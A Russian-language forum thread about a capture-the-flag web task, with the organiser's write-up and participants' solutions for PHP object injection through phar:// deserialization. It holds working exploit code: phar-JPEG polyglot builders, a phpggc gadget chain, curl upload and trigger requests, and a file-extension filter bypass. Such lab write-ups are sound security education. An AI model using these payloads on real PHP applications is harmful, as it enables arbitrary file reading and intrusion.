Task # Task #4

joelblack · 15 Feb 2019

Многие ждали этот таск раньше, но в связи с плотной нагрузкой не было времени из концепта сделать что то целостное. Наконец,на неделе появилось свободное окно и я реализовал задуманное. Отдельно хочу поблагодарить за ценные советы @dooble . Итак,перейдем непосредственно к таску. На этот раз нам предстоит поискать уязвимости на сайте SpaceX, который представляет из себя галерею. В основе таска лежит реальная уязвимость, которая не так очевидна на первый взгляд. Так что (первый хинт) внимательно изучайте все,что найдете.

Задание:

Найти уязвимость на тестовой площадке http://task4.antichat.com и с ее помощью получить флаг. Исходный код необходимый для решения так же придется поискать.
Click to expand...

Сроки:

две недели.
Click to expand...

Правила простые, они исторически сложились на площадках античата и рдота:

В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ. Ответом будет считаться флаг и каким способом вам удалось его получить.
Click to expand...

После закрытия задания выкладываются прохождения.
В первый пост будет добавлена таблица результатов.

Кому нужна дополнительно репутация - отпишите в теме "Прошел",что бы было удобно ее проставлять.
Click to expand...

Важный момент, который хотелось бы отметить исходя из опыта Task2:

Большинство поддерживает дополнительной репутацией решивших таск. Это здорово.Но случаются неприятные моменты, когда человек пишет что прошел, ему накидывают репутацию,однако решение мне не приходит.В связи с чем очень прошу парней, которые хотят поставить репу смотреть сначала в Таблицу результатов,которая оперативно обновляется,и если человек, который написал что решил присутствует в ней, тогда уже ставить.
Click to expand...

===

Всем приятного прохождения!

===

Hint: Десериализация срабатывает не явно,даже если в коде не присутствует unserialize()
Hint: Присмотритесь к phar://

Прошли:
@Felis-Sapiens
@crlf
@l1ght
@=HALK=
@Ereee
@gurux13
@Franky_T
@Isis
@MichelleBoxing
@b4zed
@Gorbachev
@D3N
@nix_security
@oleg_1va

Прохождения

Octavian · 15 Feb 2019

Большинство поддерживает дополнительной репутацией решивших таск. Это здорово.Но случаются неприятные моменты, когда человек пишет что прошел, ему накидывают репутацию,однако решение мне не приходит.В связи с чем очень прошу парней, которые хотят поставить репу смотреть сначала в Таблицу результатов,которая оперативно обновляется,и если человек, который написал что решил присутствует в ней, тогда уже ставить.
Click to expand...

Репу заслуживают за Социальную Инженерию )

Felis-Sapiens · 16 Feb 2019

Прошел.
Спасибо за ваши труды!

reds1993 · 16 Feb 2019

Там что, пхп заливался?

crlf · 16 Feb 2019

reds1993 said: ↑

Там что, пхп заливался?
Click to expand...

Заливалось всё Но не работало

=HALK= · 17 Feb 2019

Done

Ereee · 17 Feb 2019

@crlf действительно хайповая тема оказывается

gurux13 · 17 Feb 2019

Пройдено

Franky_T · 18 Feb 2019

Обалденный таск

banned · 19 Feb 2019

Прошел, в принципе не сложно)

MichelleBoxing · 19 Feb 2019

Интересное задание, спасибо @joelblack
не сразу врубился где флаг искать, спасибо @dooble за наводку.
ну и спасибо @crlf за предсказание

b4zed · 19 Feb 2019

Done.
Спасибо авторам!

Тот_самый_Щуп · 21 Feb 2019

Done.
Спасибо авторам!

joelblack · 22 Feb 2019

Добавлен Хинт в первый пост

D3N · 23 Feb 2019

Прошёл) Офигенный таск ! Поразмял мозги

joelblack · 26 Feb 2019

Добавлен еще один хинт в первый пост

nix_security · 28 Feb 2019

Решено, спасибо. Интересный таск

oleg_1va · 28 Feb 2019

Решил,познавательно).Спасибо за таск!

joelblack · 2 Mar 2019

Таск закрыт.Решения больше не принимаются.Спасибо всем за участие.Итоги подведу на выходных.

joelblack · 2 Mar 2019

Мой таск базировался на исследовании от 14 августа 2018 года (https://blog.ripstech.com/2018/new-php-exploitation-technique/), поэтому для тех, кто в свое время изучил данную тему,думаю, было не сложно его решать. Полностью пересказывать данное исследование я не буду (для тех кому интересно можете ознакомиться с линком выше и посмотреть соответствующие слайды тут:
https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf ),лишь вкратце скажу,что был обнаружен новый метод эксплуатации PHP object injection без использования php функции unserialize() . Так же,из этого исследования можно узнать, что был найден некий трюк, который позволяет phar файл поместить в фейковый jpg.

Основная базовая информация получена,теперь перейдем непосредственно к самому таску. Первое,что необходимо было сделать, это найти файл view.bak
(http://task.antichat.com:10004/backup/view.bak), который располагался в папке backup. Детально изучив файл можно увидеть класс Debug который содержит метод __destruct(), который в свою очередь содержит file_get_contents(). Первое что приходит в голову, это PHP Object Injection но смущает отсутствие в коде unserialize(). На этом этапе необходимо вспомнить о phar://.

Изучаем дальше нашу галерею и находим форму загрузки (http://task.antichat.com:10004/upload.php). Играемся с загрузкой файлов и понимаем, что ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens и @crlf обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл, но с ним все равно ничего бы не получилось сделать). Опираясь на исследование выше - понимаем, что нам необходимо как то встроить phar в jpg. Это можно сделать либо руками (этот метод я как раз опишу),а можно сделать с помощью уже готовых решений, например, https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php .

PHP:

<? class Debug{} $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; $phar = new Phar("Debug.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); $o = new Debug(); $o->hook ='php://filter/convert.base64-encode/resource=/var/www/html/index.php'; $phar->setMetadata($o); $phar->stopBuffering();

На выходе получаем файл Debug.phar. Далее нам необходимо преобразовать его в some.jpg.Я для этого использовал Notepad++. Открываем данный файл в Notepad++ и сохраняем его как some.jpg. Пробуем загрузить его и видим, что данная фейковая картинка отвечает всем требованиям загрузки и как следствие загружается на сервер.После чего кликаем по загруженному изображению и переходим по ссылке,вида:

Code:

http://task.antichat.com:10004/view.php?f=upload/ipuue5t4e8bs173r91m3m42odu/111.jpg

видим наше изображение.Дальше,что бы уязвимость сработала (в данном случае триггером служит file_exists()) нам необходимо добавить обертку phar://
Code:
http://task.antichat.com:10004/view.php?f=phar://upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
В итоге получаем читалку. Дальше читаем .htaccess
Code:
#<Files ~ "^flag\.txt">
#  Deny from all
#</Files>
и получаем намек что есть некий flag.txt

Code:

1_Kn0W_4b0Ut_Ph4R_M0r3

которого при этом нет в текущей директории.Затратив немного времени, понимаем,что он лежит на уровне выше. Однако цель таска была именно поэксплуатировать данную уязвимость,поэтому у кого были проблемы с поиском флага - я хинтовал по поводу пути, так как человек уже понял как использовать уязвимость и поиск флага это лишь вопрос времени.

Теперь перейдем к решениям:
@Felis-Sapiens
Felis-Sapiens said: ↑
Можно лить картинки с расширением .jpg в папку upload/<session_id>/filename.jpg (можно было и просто в upload/)

view.php?f=<filename> выдаёт "Something wrong!" на несуществующий файл, а на любой существующий включает ссылку на upload/[<session_id>/]basename(<filename>)

Поскольку я тут тыкал таск crlf и перечитывал про это, возникла мысль про phar-архивы и unserialize, а найденный бэкап view.php (backup/view.bak) заботливо предоставил класс для читалки:

PHP:

class Debug {     private $hook;     private $img; ...     public function __destruct() {         if (isset($this->hook)) echo file_get_contents($this->hook);     } ... }

Берём phpggc и создаём новую gadgetchain (здесь конечно никакой цепочки не нужно, просто для удобства генерации phar-архива, внедрённого в картинку):
phpggc -n task4 FR
и редактируем файлы:

PHP:

<?php class Debug {     private $hook;     private $img;     public function __construct($img, $hook){         $this->img = $img;         $this->hook = $hook;     }     public function getmime(){         return mime_content_type($this->img);     }     public function setHook($hook){         $this->hook = $hook;     }     public function deleteImg(){         unlink($this->img);         echo "Изображение {$this->img} удалено";     }     public function fsize() {         return (round(filesize($this->img) / 1024))." KB";     }     public function __destruct() {         if (isset($this->hook)) echo file_get_contents($this->hook);     }     public function getName(){         return basename($this->img,'.'.explode('.',$this->img)[1]);     }     public function getImgStat(){         foreach(stat($this->img) as $name => $val) {             if(is_int($name))                 continue;             echo "[$name] ======> [$val]<br/>";         }     }     public function curDir(){         return getcwd();     } }

PHP:

<?php namespace GadgetChain\task4; class FR1 extends \PHPGGC\GadgetChain\FileRead {     public $version = '0.0.1';     public $vector = '__destruct';     public $author = 'felis-sapiens';     public function generate(array $parameters)     {         $obj = new \Debug(NULL, $parameters['remote_file']);         return $obj;     } }

Теперь легко создавать картинки для чтения файлов:

Code:

phpggc task4/FR1 "file:///var/www/flag.txt" -pj base_image.jpg -o image_with_payload.jpg

Заливаем

Code:

curl 'http://task.antichat.com:10004/upload.php' -H 'Cookie: PHPSESSID=<session_id>' -F '[email protected]_with_payload.jpg;filename=somename.jpg'

и вызываем чтение phar-архива

Code:

curl 'http://task.antichat.com:10004/view.php?f=phar://upload/<session_id>/somename.jpg" -H 'Cookie: PHPSESSID=<session_id>'

Потребовалось поперебирать варианты и подсказка, что я на правильном пути, чтобы найти нужный файл /var/www/flag.txt
1_Kn0W_4b0Ut_Ph4R_M0r3

P.S.
Т.к. обработка filter_var($_FILES["image"]["name"],FILTER_SANITIZE_STRING) происходит непосредственно перед move_uploaded_file, можно заливать файлы с любым расширением, использовав, например, такое имя:
...;filename=somename.php<.jpg'
Click to expand...
@crlf

crlf said: ↑

Привет. Фелис поделился со мной флагом 1_Kn0W_4b0Ut_Ph4R_M0r3
Click to expand...

@=HALK=

=HALK= said: ↑

1. Брутим папки, находим директорию /backup/ с сорцами view.bak
2. Видим что можем управлять данными попадающими в file_exists и заливать файлы на сервер
3. Вспоминаем недавнюю уязвимость https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
Click to expand...
=HALK= said: ↑
4. Генерируем пэйлоад с помощью скрипта и имеющихся сорцев view.php:

Code:

<?php class Debug { private $hook; private $img; public function __construct($img){ $this->img = $img; } public function getmime(){ return mime_content_type($this->img); } public function setHook($hook){ $this->hook = $hook; } public function deleteImg(){ unlink($this->img); echo "Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ðµ {$this->img} ÑƒÐ´Ð°Ð»ÐµÐ½Ð¾"; } public function fsize() { return (round(filesize($this->img) / 1024))." KB"; } public function __destruct() { if (isset($this->hook)) echo file_get_contents($this->hook); } public function getName(){ return basename($this->img,'.'.explode('.',$this->img)[1]); } public function getImgStat(){ foreach(stat($this->img) as $name => $val) { if(is_int($name)) continue; echo "[$name] ======> [$val]<br/>"; } } public function curDir(){ return getcwd(); } } $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; $phar = new Phar("flag.jpg"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); $o = new Debug("."); $o->setHook("/var/www/flag.txt"); $phar->setMetadata($o); $phar->stopBuffering();

5. Заливаем картинку на сервер и эксплуатируем уязвимость по ссылке: http://task.antichat.com:10004/view.php?f=phar://upload/{SESSION_ID}/flag.jpg/test.txt
6. Смотрим сорцы страницы и получаем флаг 1_Kn0W_4b0Ut_Ph4R_M0r3
Click to expand...
@Ereee

Ereee said: ↑

Привет

Флаг:
1_Kn0W_4b0Ut_Ph4R_M0r3

Был создан файл-полиглот phar+jpg с использованием:
https://github.com/kunte0/phar-jpg-polyglot

Payload:

PHP:

$object = new Debug('test'); $object->setHook('../flag.txt');

Далее был загружен файл и вызван:

Code:

http://task.antichat.com:10004/view.php?f=phar://parh_to_uploaded_polyglot

Догадался еще в пятницу, но почему-то через pharggc не получалось

P.S. Спасибо за таск!
Click to expand...

@gurux13

gurux13 said: ↑

Привет!
task4: 1_Kn0W_4b0Ut_Ph4R_M0r3
Последовательность:
1. /backup/ содержит view.bak, читаем сырцы
2. В сырцах есть file_exists и объект с __desctruct
3. Крафтим jpg файл, который выглядит, как jpeg, но пахнет грушей. Пут
4. Загружаем файл, открываем view.php?f=phar://...
5. Видим, что умеем читать сырцы.
6. Читаем .htaccess
8. Читаем flag.txt.

Основной код:
$hdr=file_get_contents("/path/to/valid/jpeg");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($hdr." __HALT_COMPILER(); ?>");
$o = new Debug("123");
$o->setHook("/var/www/flag.txt");
$phar->setMetadata($o);
$phar->stopBuffering();
Click to expand...

@Franky_T

Franky_T said: ↑

Привет!

1_Kn0W_4b0Ut_Ph4R_M0r3

Находим бэкапы, читаем файл view.bak.

После длительных и безуспешных попыток повлиять на сессию, понимаем, что как-то это все сильно пахнет десериализацией. Вспоминаем статьи про phar, которые вышли в конце прошлого года. Дальше я начисто забыла, что file_exists тоже тригерится, но по статьям это вспомнила. Находим код, который позволяет построить phar архив с нужной нагрузкой, но замаскироваться под jpeg. Код из статьи rips хороший, но не дает сделать картинку. Погуглила, нашла проект полиглот https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php

Создаем phar-картинку, содержащую объект класса Debug. В качестве поля $hook ставим адрес файла, который хотим прочитать. Читаем исходники, понимаем, что там нет флага смотрим .htaccess, там намек на флаг, но flag.txt в корне не находится. Зато находится на уровень выше.

Code:

class Debug { private $hook = "../flag.txt"; }

Click to expand...

@Isis

Isis said: ↑

Хай.

скрин пейлоада https://www.dropbox.com/s/lt9dz7hv5ibu99z/Screenshot 2019-02-19 02.21.43.png?dl=0

private $hook = '/var/www/flag.txt';

view.php?f=phar:////var/www/html/upload/cc/me.jpg

1_Kn0W_4b0Ut_Ph4R_M0r3
Click to expand...

@MichelleBoxing

MichelleBoxing said: ↑

флаг 1_Kn0W_4b0Ut_Ph4R_M0r3

Решение:

Находим /backup/view.bak
видим что пользовательские данные в параметре f никак не проверяются.
_destruсt вроде как можно использовать с unserialize (у нас есть класс и функция ) но не понятно куда подсовывать сериализованные данные. Вспоминаем про хайповую тему с phar. читам подробно https://blog.ripstech.com/2018/new-php-exploitation-technique/ и понимаем что у нас все что нужно есть. Остается сделать нужную картинку.
Записываем в phar архив метаданные

"O:5:"Debug":2:{s:4:"hook";s:17:"/var/www/flag.txt";s:4:"file";s:17:"/var/www/flag.txt";}"
где искать флаг не сразу понял, после прочтения .htaccess стало понятно (спасибо dooble)
сам не стал разбираться как сделать картинку и phar архив с нуля, на работе с временем напряг...
Сделал через готовое решение
https://github.com/kunte0/phar-jpg-polyglot
Click to expand...

@b4zed

b4zed said: ↑

1. http://task.antichat.com:10004/backup/view.bak

Находим исходник view.php

2. Смотрим на код.

Ищем в гугле php destruct vulnerability

находим статью https://blog.ripstech.com/2018/new-php-exploitation-technique/

Понимаем что враппер phar:// позволяет выполнить php код, но в нашем случае мы можем только читать файлы

public function __destruct() {
if (isset($this->hook)) echo file_get_contents($this->hook);
}

3. Далее нам нужно создать phar файл, но так как загружать можно только jpg так как происходит проверка mime типов нужно сделать так чтобы phar обрабатывался как картинка.

В структуре phar файла есть "заголовок"
$phar->setStub('<?php __HALT_COMPILER(); ? >');
в который мы можем встатвить картинку.

4. Добрые люди уже автоматизировали процесс создания phar+jpg картинки
https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php

Качаем скрипт phar_jpg_polyglot.php

и меняем там:
class PHPObjectInjection {}
$object = new PHPObjectInjection;
$object->inject = 'system("id");';
$object->out = 'Hallo World';
// pop exploit class

на наш:
// pop exploit class
class Debug {}
$object = new Debug;
$object->hook = '../flag.txt';

да... сначала мы прочитали файл .htaccess и нашли там хинт

and finally, yes now 1_Kn0W_4b0Ut_Ph4R_M0r3!!!
Click to expand...

@Gorbachev

Gorbachev said: ↑

С твоей подсказкой про воздействие на классы без unserialize() выхожу на трюк с phar://, изучаю вот это всё, пытаюсь сообразить, это всё под данный таск подходит или нет? Ответ нашел в этом сообщении: https://rdot.org/forum/showpost.php?p=43352&postcount=4
Все сразу стало ясно. Ещё пару статей почитал, вкурил как оно должно работать.
За основу был взят код генерации полезного файла: https://rdot.org/forum/showpost.php?p=44060&postcount=66
Это чтобы и проверку на картинки обойти, и правильно сформировать рабочий архив.
У меня на локалхосте всё читалось как надо, но я уже успел обратить внимание, что file_get_contents находясь в __destruct назначает себе путь / и прочесть рядом лежащие файлы не может, для этого требуется полный путь.
Я уже понимаю, как этот самый путь надо было доставать:

Code:

private $img; public function __construct($img){ $this->img = $img; }

Воздействовать на $img; и выполнить функцию curDir(), она там явно не просто так.
Но мне не удалось найти инфу, как это реализовать, зато как в переменные класса вклиниваться расписано достаточно.
Поэтому я нашел альтернативный вариант, зашел в task#2, выполнил в нем phpinfo(); и пути совпали. Кстати пути и файлы на существование чекать можно прямо через переменную f, вполне удобно, сначала чекнул файл, есть? А затем прочитать.

Ну дальше всё просто, формируем архив:

Code:

$phar = new Phar($n); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(img().'<?php __HALT_COMPILER(); ? >'); class Debug { private $hook = "/var/www/html/index.php"; } $object = new Debug; $phar->setMetadata($object); $phar->stopBuffering();

Читаем все файлы, и понимаем, что флага нигде нет, я уж подумал, сейчас зафейлюсь на этом этапе, и запомню этот таск надолго.
Хотел прочитать сессии, всякие вспомогательные файлы, увидел, что .htaccess есть, прочитал его, не сразу вкурил, почему в корне он отсутствует, попробовал в других местах поискать, в /tmp/ /upload/ на директорию выше, и нашел.
Флаг: /var/www/flag.txt содержимое: 1_Kn0W_4b0Ut_Ph4R_M0r3
Click to expand...

@D3N

D3N said: ↑

Флаг - "1_Kn0W_4b0Ut_Ph4R_M0r3"
Таск офигенный ) Не знал что пыха так умеет. Но честно, бэкап искал дольше чем нашёл статьи по уязвимости)
Решение:
Находим бэкап файл в /backup/
Видим что в view.php есть вызов функции file_exists и класс Debug у которого определены методы
__construct и __destruct. Видим что в __destruct есть интересная нам функция file_get_contents. Гуглим file_exists + unserialization (хинт) и находим статьи про phar фильтр. Собираем phar файл и маскируем под jpg (polyglot - one love). Загружаем полученный payload и на странице и переходим на /view.php?f=phar://upload/SESSION/payload.jpg. Читаем флаг, всё !
Click to expand...

@l1ght

l1ght said: ↑

в общем, класс, после него file_exists очевидный вариант напрашивается с оберткой phar:// + десериалиция класса Debug
но загружаются только файлы .jpg причем с проверкой по mime-type
я взял за основну софт кореша (https://github.com/kunte0/phar-jpg-polyglot) немного подправил
загрузил poc
1_Kn0W_4b0Ut_Ph4R_M0r3
Click to expand...

@nix_security

nix_security said: ↑

Спасибо за таск!

flag.txt :
1_Kn0W_4b0Ut_Ph4R_M0r3

Решение:

Сначала набрутил исходник http://task.antichat.com:10004/backup/view.bak.
Класс Debug с магическим методом __destruct намекает на небезопасную десериализацию))
Дальше немного подвис, пока не появились новые хинты...
Выяснил, что при использовании враппера phar объекты десериализуются при вызове любых методов работы с
файлами (file_exists в нашем случае).

Пэйлоад сформировал и внедрил в jpg-файл с помощью phpggc (цепочку сделал кастомную на основе класса Debug).

Почитал файлы на системе, в htaccess deny на flag.txt, значит его и надо искать. Он оказался директорией выше)
Click to expand...

@oleg_1va

oleg_1va said: ↑

Не мог найти исходники, брутил файлы.Но оказывается нужно было посматреть папки).Нагуглил вот это https://blog.ripstech.com/2018/new-php-exploitation-technique/ и использовал вот это для решения https://github.com/kunte0/phar-jpg-polyglot. Флаг получил методом тыка) Флаг:1_Kn0W_4b0Ut_Ph4R_M0r3
Click to expand...
Если я случайно кого то забыл - отпишите в лс. Всем спасибо за участие!

Task # Task #4

joelblack Reservists Of Antichat

Octavian Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

reds1993 Active Member

crlf Green member

=HALK= Member

Ereee Elder - Старейшина

gurux13 Member

Franky_T Level 8

banned Banned

MichelleBoxing Reservists Of Antichat

b4zed New Member

Тот_самый_Щуп Reservists Of Antichat

joelblack Reservists Of Antichat

D3N Member

joelblack Reservists Of Antichat

nix_security Level 8

oleg_1va Level 8

joelblack Reservists Of Antichat

joelblack Reservists Of Antichat

Task # (micro)Task#15

Task # Task #14

Task # Task #13

Task # Task #12

Useful Searches

Task # Task #4

joelblack Reservists Of Antichat

Octavian Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

reds1993 Active Member

crlf Green member

=HALK= Member

Ereee Elder - Старейшина

gurux13 Member

Franky_T Level 8

banned Banned

MichelleBoxing Reservists Of Antichat

b4zed New Member

Тот_самый_Щуп Reservists Of Antichat

joelblack Reservists Of Antichat

D3N Member

joelblack Reservists Of Antichat

nix_security Level 8

oleg_1va Level 8

joelblack Reservists Of Antichat

joelblack Reservists Of Antichat

Task # (micro)Task#15

Task # Task #14

Task # Task #13

Task # Task #12